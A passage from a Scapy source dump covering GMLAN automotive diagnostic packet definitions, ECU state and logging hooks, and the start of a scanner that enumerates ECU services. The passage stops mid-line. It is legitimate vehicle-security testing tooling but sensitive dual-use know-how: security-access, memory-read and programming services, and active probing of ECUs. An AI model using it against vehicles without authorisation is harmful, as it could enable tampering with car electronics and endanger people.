fields_desc = [\n        XShortEnumField('parameterIdentifier', 0, GMLAN_RDBPI.dataIdentifiers),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, GMLAN_RDBPI) and \\\n            self.parameterIdentifier in other.identifiers\n\n\nbind_layers(GMLAN, GMLAN_RDBPIPR, service=0x62)\n\n\n# ########################RDBPKTI###################################\nclass GMLAN_RDBPKTI(Packet):\n    name = 'ReadDataByPacketIdentifier'\n    subfunctions = {\n        0x00: \"stopSending\",\n        0x01: \"sendOneResponse\",\n        0x02: \"scheduleAtSlowRate\",\n        0x03: \"scheduleAtMediumRate\",\n        0x04: \"scheduleAtFastRate\"\n    }\n\n    fields_desc = [\n        XByteEnumField('subfunction', 0, subfunctions),\n        ConditionalField(FieldListField('request_DPIDs', [],\n                                        XByteField(\"\", 0)),\n                         lambda pkt: pkt.subfunction > 0x0)\n    ]\n\n\nbind_layers(GMLAN, GMLAN_RDBPKTI, service=0xAA)\n\n\n# ########################RMBA###################################\nclass GMLAN_RMBA(Packet):\n    name = 'ReadMemoryByAddress'\n    fields_desc = [\n        MultipleTypeField(\n            [\n                (XShortField('memoryAddress', 0),\n                 lambda pkt: GMLAN.determine_len(2)),\n                (X3BytesField('memoryAddress', 0),\n                 lambda pkt: GMLAN.determine_len(3)),\n                (XIntField('memoryAddress', 0),\n                 lambda pkt: GMLAN.determine_len(4))\n            ],\n            XIntField('memoryAddress', 0)),\n        XShortField('memorySize', 0),\n    ]\n\n\nbind_layers(GMLAN, GMLAN_RMBA, service=0x23)\n\n\nclass GMLAN_RMBAPR(Packet):\n    name = 'ReadMemoryByAddressPositiveResponse'\n    fields_desc = [\n        MultipleTypeField(\n            [\n                (XShortField('memoryAddress', 0),\n                 lambda pkt: GMLAN.determine_len(2)),\n                (X3BytesField('memoryAddress', 0),\n                 lambda pkt: GMLAN.determine_len(3)),\n                (XIntField('memoryAddress', 0),\n                 lambda pkt: GMLAN.determine_len(4))\n            ],\n            XIntField('memoryAddress', 0)),\n        StrField('dataRecord', b\"\", fmt=\"B\")\n    ]\n\n    def answers(self, other):\n        return isinstance(other, GMLAN_RMBA) and \\\n            other.memoryAddress == self.memoryAddress\n\n\nbind_layers(GMLAN, GMLAN_RMBAPR, service=0x63)\n\n\n# ########################SA###################################\nclass GMLAN_SA(Packet):\n    subfunctions = {\n        0: 'ReservedByDocument',\n        1: 'SPSrequestSeed',\n        2: 'SPSsendKey',\n        3: 'DevCtrlrequestSeed',\n        4: 'DevCtrlsendKey',\n        255: 'ReservedByDocument'}\n    for i in range(0x05, 0x0a + 1):\n        subfunctions[i] = 'ReservedByDocument'\n    for i in range(0x0b, 0xfa + 1):\n        subfunctions[i] = 'Reserved for vehicle manufacturer specific needs'\n    for i in range(0xfb, 0xfe + 1):\n        subfunctions[i] = 'Reserved for ECU or ' \\\n                          'system supplier manufacturing needs'\n\n    name = 'SecurityAccess'\n    fields_desc = [\n        ByteEnumField('subfunction', 0, subfunctions),\n        ConditionalField(XShortField('securityKey', 0),\n                         lambda pkt: pkt.subfunction % 2 == 0)\n    ]\n\n\nbind_layers(GMLAN, GMLAN_SA, service=0x27)\n\n\nclass GMLAN_SAPR(Packet):\n    name = 'SecurityAccessPositiveResponse'\n    fields_desc = [\n        ByteEnumField('subfunction', 0, GMLAN_SA.subfunctions),\n        ConditionalField(XShortField('securitySeed', 0),\n                         lambda pkt: pkt.subfunction % 2 == 1),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, GMLAN_SA) \\\n            and other.subfunction == self.subfunction\n\n\nbind_layers(GMLAN, GMLAN_SAPR, service=0x67)\n\n\n# ########################DDM###################################\nclass GMLAN_DDM(Packet):\n    name = 'DynamicallyDefineMessage'\n    fields_desc = [\n        XByteField('DPIDIdentifier', 0),\n        StrField('PIDData', b'\\x00\\x00')\n    ]\n\n\nbind_layers(GMLAN, GMLAN_DDM, service=0x2C)\n\n\nclass GMLAN_DDMPR(Packet):\n    name = 'DynamicallyDefineMessagePositiveResponse'\n    fields_desc = [\n        XByteField('DPIDIdentifier', 0)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, GMLAN_DDM) \\\n            and other.DPIDIdentifier == self.DPIDIdentifier\n\n\nbind_layers(GMLAN, GMLAN_DDMPR, service=0x6C)\n\n\n# ########################DPBA###################################\nclass GMLAN_DPBA(Packet):\n    name = 'DefinePIDByAddress'\n    fields_desc = [\n        XShortField('parameterIdentifier', 0),\n        MultipleTypeField(\n            [\n                (XShortField('memoryAddress', 0),\n                 lambda pkt: GMLAN.determine_len(2)),\n                (X3BytesField('memoryAddress', 0),\n                 lambda pkt: GMLAN.determine_len(3)),\n                (XIntField('memoryAddress', 0),\n                 lambda pkt: GMLAN.determine_len(4))\n            ],\n            XIntField('memoryAddress', 0)),\n        XByteField('memorySize', 0),\n    ]\n\n\nbind_layers(GMLAN, GMLAN_DPBA, service=0x2D)\n\n\nclass GMLAN_DPBAPR(Packet):\n    name = 'DefinePIDByAddressPositiveResponse'\n    fields_desc = [\n        XShortField('parameterIdentifier', 0),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, GMLAN_DPBA) \\\n            and other.parameterIdentifier == self.parameterIdentifier\n\n\nbind_layers(GMLAN, GMLAN_DPBAPR, service=0x6D)\n\n\n# ########################RD###################################\nclass GMLAN_RD(Packet):\n    name = 'RequestDownload'\n    fields_desc = [\n        XByteField('dataFormatIdentifier', 0),\n        MultipleTypeField(\n            [\n                (XShortField('memorySize', 0),\n                 lambda pkt: GMLAN.determine_len(2)),\n                (X3BytesField('memorySize', 0),\n                 lambda pkt: GMLAN.determine_len(3)),\n                (XIntField('memorySize', 0),\n                 lambda pkt: GMLAN.determine_len(4))\n            ],\n            XIntField('memorySize', 0))\n    ]\n\n\nbind_layers(GMLAN, GMLAN_RD, service=0x34)\n\n\n# ########################TD###################################\nclass GMLAN_TD(Packet):\n    subfunctions = {\n        0x00: \"download\",\n        0x80: \"downloadAndExecuteOrExecute\"\n    }\n    name = 'TransferData'\n    fields_desc = [\n        ByteEnumField('subfunction', 0, subfunctions),\n        MultipleTypeField(\n            [\n                (XShortField('startingAddress', 0),\n                 lambda pkt: GMLAN.determine_len(2)),\n                (X3BytesField('startingAddress', 0),\n                 lambda pkt: GMLAN.determine_len(3)),\n                (XIntField('startingAddress', 0),\n                 lambda pkt: GMLAN.determine_len(4))\n            ],\n            XIntField('startingAddress', 0)),\n        StrField(\"dataRecord\", b\"\")\n    ]\n\n\nbind_layers(GMLAN, GMLAN_TD, service=0x36)\n\n\n# ########################WDBI###################################\nclass GMLAN_WDBI(Packet):\n    name = 'WriteDataByIdentifier'\n    fields_desc = [\n        XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers),\n        StrField(\"dataRecord\", b'')\n    ]\n\n\nbind_layers(GMLAN, GMLAN_WDBI, service=0x3B)\n\n\nclass GMLAN_WDBIPR(Packet):\n    name = 'WriteDataByIdentifierPositiveResponse'\n    fields_desc = [\n        XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, GMLAN_WDBI) \\\n            and other.dataIdentifier == self.dataIdentifier\n\n\nbind_layers(GMLAN, GMLAN_WDBIPR, service=0x7B)\n\n\n# ########################RPSPR###################################\nclass GMLAN_RPSPR(Packet):\n    programmedStates = {\n        0x00: \"fully programmed\",\n        0x01: \"no op s/w or cal data\",\n        0x02: \"op s/w present, cal data missing\",\n        0x03: \"s/w present, default or no start cal present\",\n        0x50: \"General Memory Fault\",\n        0x51: \"RAM Memory Fault\",\n        0x52: \"NVRAM Memory Fault\",\n        0x53: \"Boot Memory Failure\",\n        0x54: \"Flash Memory Failure\",\n        0x55: \"EEPROM Memory Failure\",\n    }\n    name = 'ReportProgrammedStatePositiveResponse'\n    fields_desc = [\n        ByteEnumField('programmedState', 0, programmedStates),\n    ]\n\n\nbind_layers(GMLAN, GMLAN_RPSPR, service=0xE2)\n\n\n# ########################PM###################################\nclass GMLAN_PM(Packet):\n    subfunctions = {\n        0x01: \"requestProgrammingMode\",\n        0x02: \"requestProgrammingMode_HighSpeed\",\n        0x03: \"enableProgrammingMode\"\n    }\n    name = 'ProgrammingMode'\n    fields_desc = [\n        ByteEnumField('subfunction', 0, subfunctions),\n    ]\n\n\nbind_layers(GMLAN, GMLAN_PM, service=0xA5)\n\n\n# ########################RDI###################################\nclass GMLAN_RDI(Packet):\n    subfunctions = {\n        0x80: 'readStatusOfDTCByDTCNumber',\n        0x81: 'readStatusOfDTCByStatusMask',\n        0x82: 'sendOnChangeDTCCount'\n    }\n    name = 'ReadDiagnosticInformation'\n    fields_desc = [\n        ByteEnumField('subfunction', 0, subfunctions)\n    ]\n\n\nbind_layers(GMLAN, GMLAN_RDI, service=0xA9)\n\n\nclass GMLAN_RDI_BN(Packet):\n    name = 'ReadStatusOfDTCByDTCNumber'\n    fields_desc = [\n        XByteField('DTCHighByte', 0),\n        XByteField('DTCLowByte', 0),\n        XByteField('DTCFailureType', 0),\n    ]\n\n\nbind_layers(GMLAN_RDI, GMLAN_RDI_BN, subfunction=0x80)\n\n\nclass GMLAN_RDI_BM(Packet):\n    name = 'ReadStatusOfDTCByStatusMask'\n    fields_desc = [\n        XByteField('DTCStatusMask', 0),\n    ]\n\n\nbind_layers(GMLAN_RDI, GMLAN_RDI_BM, subfunction=0x81)\n\n\nclass GMLAN_RDI_BC(Packet):\n    name = 'SendOnChangeDTCCount'\n    fields_desc = [\n        XByteField('DTCStatusMask', 0),\n    ]\n\n\nbind_layers(GMLAN_RDI, GMLAN_RDI_BC, subfunction=0x82)\n\n\n# TODO:This function receive single frame responses... (Implement GMLAN Socket)\n\n\n# ########################DC###################################\nclass GMLAN_DC(Packet):\n    name = 'DeviceControl'\n    fields_desc = [\n        XByteField('CPIDNumber', 0),\n        StrFixedLenField('CPIDControlBytes', b\"\", 5)\n    ]\n\n\nbind_layers(GMLAN, GMLAN_DC, service=0xAE)\n\n\nclass GMLAN_DCPR(Packet):\n    name = 'DeviceControlPositiveResponse'\n    fields_desc = [\n        XByteField('CPIDNumber', 0)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, GMLAN_DC) \\\n            and other.CPIDNumber == self.CPIDNumber\n\n\nbind_layers(GMLAN, GMLAN_DCPR, service=0xEE)\n\n\n# ########################NRC###################################\nclass GMLAN_NR(Packet):\n    negativeResponseCodes = {\n        0x11: 'ServiceNotSupported',\n        0x12: 'SubFunctionNotSupported',\n        0x22: 'ConditionsNotCorrectOrRequestSequenceError',\n        0x31: 'RequestOutOfRange',\n        0x35: 'InvalidKey',\n        0x36: 'ExceedNumberOfAttempts',\n        0x37: 'RequiredTimeDelayNotExpired',\n        0x78: 'RequestCorrectlyReceived-ResponsePending',\n        0x81: 'SchedulerFull',\n        0x83: 'VoltageOutOfRange',\n        0x85: 'GeneralProgrammingFailure',\n        0x89: 'DeviceTypeError',\n        0x99: 'ReadyForDownload-DTCStored',\n        0xe3: 'DeviceControlLimitsExceeded',\n    }\n    name = 'NegativeResponse'\n    fields_desc = [\n        XByteEnumField('requestServiceId', 0, GMLAN.services),\n        MayEnd(ByteEnumField('returnCode', 0, negativeResponseCodes)),\n        # XXX Is this MayEnd correct? Why is the field below also 0xe3 ?\n        ShortField('deviceControlLimitExceeded', 0)\n    ]\n\n    def answers(self, other):\n        return self.requestServiceId == other.service and \\\n            (self.returnCode != 0x78 or\n             conf.contribs['GMLAN']['treat-response-pending-as-answer'])\n\n\nbind_layers(GMLAN, GMLAN_NR, service=0x7f)\n"
  },
  {
    "path": "scapy/contrib/automotive/gm/gmlan_ecu_states.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = GMLAN EcuState modifications\n# scapy.contrib.status = library\nfrom scapy.packet import Packet\nfrom scapy.contrib.automotive.ecu import EcuState\nfrom scapy.contrib.automotive.gm.gmlan import GMLAN, GMLAN_SAPR\n\n__all__ = [\"GMLAN_modify_ecu_state\", \"GMLAN_SAPR_modify_ecu_state\"]\n\n\n@EcuState.extend_pkt_with_modifier(GMLAN)\ndef GMLAN_modify_ecu_state(self, req, state):\n    # type: (Packet, Packet, EcuState) -> None\n    if self.service == 0x50:\n        state.session = 3  # type: ignore\n    elif self.service == 0x60:\n        state.reset()\n        state.session = 1  # type: ignore\n    elif self.service == 0x68:\n        state.communication_control = 1  # type: ignore\n    elif self.service == 0xe5:\n        state.session = 2  # type: ignore\n    elif self.service == 0x74 and len(req) > 3:\n        state.request_download = 1  # type: ignore\n    elif self.service == 0x7e:\n        state.tp = 1  # type: ignore\n\n\n@EcuState.extend_pkt_with_modifier(GMLAN_SAPR)\ndef GMLAN_SAPR_modify_ecu_state(self, req, state):\n    # type: (Packet, Packet, EcuState) -> None\n    if self.subfunction % 2 == 0 and self.subfunction > 0 and len(req) >= 3:\n        state.security_level = self.subfunction  # type: ignore\n    elif self.subfunction % 2 == 1 and \\\n            self.subfunction > 0 and \\\n            len(req) >= 3 and not any(self.securitySeed):\n        state.security_level = self.securityAccessType + 1  # type: ignore\n"
  },
  {
    "path": "scapy/contrib/automotive/gm/gmlan_logging.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = GMLAN Ecu logging additions\n# scapy.contrib.status = library\n\n\nfrom scapy.contrib.automotive.gm.gmlan import GMLAN_SA, GMLAN_IDO, GMLAN_DC, \\\n    GMLAN_NR, GMLAN_RD, GMLAN_TD, GMLAN_DCPR, GMLAN_DPBA, GMLAN_DPBAPR, \\\n    GMLAN_RPSPR, GMLAN_RDI, GMLAN_WDBI, GMLAN_WDBIPR, GMLAN_PM, GMLAN_SAPR, \\\n    GMLAN_RDBI, GMLAN_RDBIPR, GMLAN_RDBPI, GMLAN_RDBPIPR, GMLAN_RDBPKTI, \\\n    GMLAN_RFRD, GMLAN_RFRDPR, GMLAN_RMBA, GMLAN_RMBAPR, GMLAN_DDM, GMLAN_DDMPR\nfrom scapy.packet import Packet\nfrom scapy.contrib.automotive.ecu import Ecu\n\n# Typing imports\nfrom typing import (\n    Any,\n    Tuple,\n)\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_IDO)\ndef GMLAN_IDO_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_IDO.subfunction%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RFRD)\ndef GMLAN_RFRD_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_RFRD.subfunction%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RFRDPR)\ndef GMLAN_RFRDPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_RFRDPR.subfunction%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RDBI)\ndef GMLAN_RDBI_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_RDBI.dataIdentifier%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RDBIPR)\ndef GMLAN_RDBIPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        (self.sprintf(\"%GMLAN_RDBIPR.dataIdentifier%\"),\n         bytes(self.load))\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RDBPI)\ndef GMLAN_RDBPI_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_RDBPI.identifiers%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RDBPIPR)\ndef GMLAN_RDBPIPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_RDBPIPR.parameterIdentifier%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RDBPKTI)\ndef GMLAN_RDBPKTI_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_RDBPKTI.subfunction%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RMBA)\ndef GMLAN_RMBA_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_RMBA.memoryAddress%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RMBAPR)\ndef GMLAN_RMBAPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        (self.sprintf(\"%GMLAN_RMBAPR.memoryAddress%\"), self.dataRecord)\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_SA)\ndef GMLAN_SA_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    if self.subfunction % 2 == 1:\n        return self.sprintf(\"%GMLAN.service%\"), \\\n            (self.subfunction, None)\n    else:\n        return self.sprintf(\"%GMLAN.service%\"), \\\n            (self.subfunction, self.securityKey)\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_SAPR)\ndef GMLAN_SAPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    if self.subfunction % 2 == 0:\n        return self.sprintf(\"%GMLAN.service%\"), \\\n            (self.subfunction, None)\n    else:\n        return self.sprintf(\"%GMLAN.service%\"), \\\n            (self.subfunction, self.securitySeed)\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_DDM)\ndef GMLAN_DDM_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        (self.sprintf(\"%GMLAN_DDM.DPIDIdentifier%\"), self.PIDData)\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_DDMPR)\ndef GMLAN_DDMPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_DDMPR.DPIDIdentifier%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_DPBA)\ndef GMLAN_DPBA_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        (self.parameterIdentifier, self.memoryAddress, self.memorySize)\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_DPBAPR)\ndef GMLAN_DPBAPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), self.parameterIdentifier\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RD)\ndef GMLAN_RD_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        (self.dataFormatIdentifier, self.memorySize)\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_TD)\ndef GMLAN_TD_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        (self.sprintf(\"%GMLAN_TD.subfunction%\"), self.startingAddress,\n         self.dataRecord)\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_WDBI)\ndef GMLAN_WDBI_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        (self.sprintf(\"%GMLAN_WDBI.dataIdentifier%\"), self.dataRecord)\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_WDBIPR)\ndef GMLAN_WDBIPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_WDBIPR.dataIdentifier%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RPSPR)\ndef GMLAN_RPSPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_RPSPR.programmedState%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_PM)\ndef GMLAN_PM_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_PM.subfunction%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_RDI)\ndef GMLAN_RDI_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_RDI.subfunction%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_DC)\ndef GMLAN_DC_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_DC.CPIDNumber%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_DCPR)\ndef GMLAN_DCPR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        self.sprintf(\"%GMLAN_DCPR.CPIDNumber%\")\n\n\n@Ecu.extend_pkt_with_logging(GMLAN_NR)\ndef GMLAN_NR_get_log(self):\n    # type: (Packet) -> Tuple[str, Any]\n    return self.sprintf(\"%GMLAN.service%\"), \\\n        (self.sprintf(\"%GMLAN_NR.requestServiceId%\"),\n         self.sprintf(\"%GMLAN_NR.returnCode%\"))\n"
  },
  {
    "path": "scapy/contrib/automotive/gm/gmlan_scanner.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = GMLAN AutomotiveTestCaseExecutor Utilities\n# scapy.contrib.status = loads\n\nimport abc\nimport random\nimport time\nimport copy\n\nfrom collections import defaultdict\n\nfrom scapy.compat import orb\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.packet import Packet\nfrom scapy.config import conf\nfrom scapy.supersocket import SuperSocket\nfrom scapy.error import Scapy_Exception\nfrom scapy.contrib.automotive.gm.gmlanutils import GMLAN_InitDiagnostics, \\\n    GMLAN_TesterPresentSender\nfrom scapy.contrib.automotive.gm.gmlan import GMLAN, GMLAN_SA, GMLAN_RD, \\\n    GMLAN_TD, GMLAN_RMBA, GMLAN_RDBI, GMLAN_RDBPI, GMLAN_IDO, \\\n    GMLAN_NR, GMLAN_WDBI, GMLAN_DC, GMLAN_PM\nfrom scapy.contrib.automotive.ecu import EcuState\n\nfrom scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC, \\\n    _SocketUnion, _TransitionTuple, StateGenerator\nfrom scapy.contrib.automotive.scanner.enumerator import ServiceEnumerator, \\\n    _AutomotiveTestCaseScanResult, StateGeneratingServiceEnumerator\nfrom scapy.contrib.automotive.scanner.configuration import \\\n    AutomotiveTestCaseExecutorConfiguration\nfrom scapy.contrib.automotive.scanner.graph import _Edge\nfrom scapy.contrib.automotive.scanner.staged_test_case import \\\n    StagedAutomotiveTestCase\nfrom scapy.contrib.automotive.scanner.executor import \\\n    AutomotiveTestCaseExecutor\n\n# TODO: Refactor this import\nfrom scapy.contrib.automotive.gm.gmlan_ecu_states import *  # noqa: F401, F403\n\n# Typing imports\nfrom typing import (\n    Optional,\n    List,\n    Type,\n    Any,\n    Tuple,\n    Iterable,\n    Dict,\n    cast,\n    Callable,\n)\n\n__all__ = [\"GMLAN_Scanner\", \"GMLAN_ServiceEnumerator\", \"GMLAN_RDBIEnumerator\",\n           \"GMLAN_RDBPIEnumerator\", \"GMLAN_RMBAEnumerator\",\n           \"GMLAN_TPEnumerator\", \"GMLAN_IDOEnumerator\", \"GMLAN_PMEnumerator\",\n           \"GMLAN_RDEnumerator\", \"GMLAN_TDEnumerator\", \"GMLAN_WDBIEnumerator\",\n           \"GMLAN_SAEnumerator\", \"GMLAN_WDBISelectiveEnumerator\",\n           \"GMLAN_DCEnumerator\"]\n\n\nclass GMLAN_Enumerator(ServiceEnumerator, metaclass=abc.ABCMeta):\n    \"\"\"\n    Abstract base class for GMLAN service enumerators. This class\n    implements GMLAN specific functions.\n    \"\"\"\n    @staticmethod\n    def _get_negative_response_code(resp):\n        # type: (Packet) -> int\n        return resp.returnCode\n\n    @staticmethod\n    def _get_negative_response_desc(nrc):\n        # type: (int) -> str\n        return GMLAN_NR(returnCode=nrc).sprintf(\"%GMLAN_NR.returnCode%\")\n\n    @staticmethod\n    def _get_negative_response_label(response):\n        # type: (Packet) -> str\n        return response.sprintf(\"NR: %GMLAN_NR.returnCode%\")\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2])\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        raise NotImplementedError(\"Overwrite this method\")\n\n\nclass GMLAN_ServiceEnumerator(GMLAN_Enumerator, StateGeneratingServiceEnumerator):  # noqa: E501\n    \"\"\"\n    This enumerator scans for all services identifiers of GMLAN. During this\n    scan, corrupted packets might be sent to an ECU and mainly negative\n    responses will be received.\n    \"\"\"\n    _description = \"Available services and negative response per state\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        services = set(x & ~0x40 for x in range(0x100))\n        services.remove(0x10)  # Remove InitiateDiagnosticOperation service\n        services.remove(0x3E)  # Remove TesterPresent service\n        services.remove(0xa5)  # Remove ProgrammingMode service\n        services.remove(0x34)  # Remove RequestDownload\n        return (GMLAN(service=x) for x in services)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%02x: %s\" % (\n            tup[1].service, tup[1].sprintf(\"%GMLAN.service%\"))\n\n\nclass GMLAN_TPEnumerator(GMLAN_Enumerator, StateGeneratingServiceEnumerator):\n    \"\"\"\n    Performs a check if TesterPresent is available. If a positive response is\n    received, a new system state is generated and returned.\n    \"\"\"\n    _description = \"TesterPresent supported\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        return [GMLAN(service=0x3E)]\n\n    @staticmethod\n    def enter(socket,  # type: _SocketUnion\n              configuration,  # type: AutomotiveTestCaseExecutorConfiguration\n              kwargs  # type: Dict[str, Any]\n              ):\n        # type: (...) -> bool\n        if configuration.unittest:\n            configuration[\"tps\"] = None\n            socket.sr1(GMLAN(service=0x3E), timeout=0.1, verbose=False)\n            return True\n\n        GMLAN_TPEnumerator.cleanup(socket, configuration)\n        configuration[\"tps\"] = GMLAN_TesterPresentSender(\n            cast(SuperSocket, socket))\n        configuration[\"tps\"].start()\n        return True\n\n    @staticmethod\n    def cleanup(_, configuration):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> bool\n        try:\n            if configuration[\"tps\"]:\n                configuration[\"tps\"].stop()\n                configuration[\"tps\"] = None\n        except KeyError:\n            pass\n        return True\n\n    def get_transition_function(self, socket, edge):\n        # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple]\n        return self.enter, {\"desc\": \"TP\"}, self.cleanup\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"TesterPresent:\"\n\n\nclass GMLAN_IDOEnumerator(GMLAN_Enumerator, StateGeneratingServiceEnumerator):\n    _description = \"InitiateDiagnosticOperation supported\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        return [GMLAN() / GMLAN_IDO(subfunction=2)]\n\n    @staticmethod\n    def enter_diagnostic_session(socket):\n        # type: (_SocketUnion) -> bool\n        ans = socket.sr1(\n            GMLAN() / GMLAN_IDO(subfunction=2), timeout=5, verbose=False)\n        if ans is not None and ans.service == 0x7f:\n            log_automotive.debug(\n                \"InitiateDiagnosticOperation received negative response!\\n\"\n                \"%s\", repr(ans))\n        return ans is not None and ans.service != 0x7f\n\n    def get_new_edge(self, socket, config):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> Optional[_Edge]  # noqa: E501\n        edge = super(GMLAN_IDOEnumerator, self).get_new_edge(socket, config)\n        if edge:\n            state, new_state = edge\n            new_state.tp = 1  # type: ignore\n            return state, new_state\n        return None\n\n    @staticmethod\n    def enter_state_with_tp(sock, conf, kwargs):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]) -> bool  # noqa: E501\n        GMLAN_TPEnumerator.enter(sock, conf, kwargs)\n        if GMLAN_IDOEnumerator.enter_diagnostic_session(sock):\n            return True\n        else:\n            GMLAN_TPEnumerator.cleanup(sock, conf)\n            return False\n\n    def get_transition_function(self, socket, edge):\n        # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple]\n        return self.enter_state_with_tp, {\"desc\": \"IDO_TP\"}, GMLAN_TPEnumerator.cleanup  # noqa: E501\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"InitiateDiagnosticOperation:\"\n\n\nclass GMLAN_RDBIEnumerator(GMLAN_Enumerator):\n    _description = \"Readable data identifier per state\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x100))\n        return (GMLAN() / 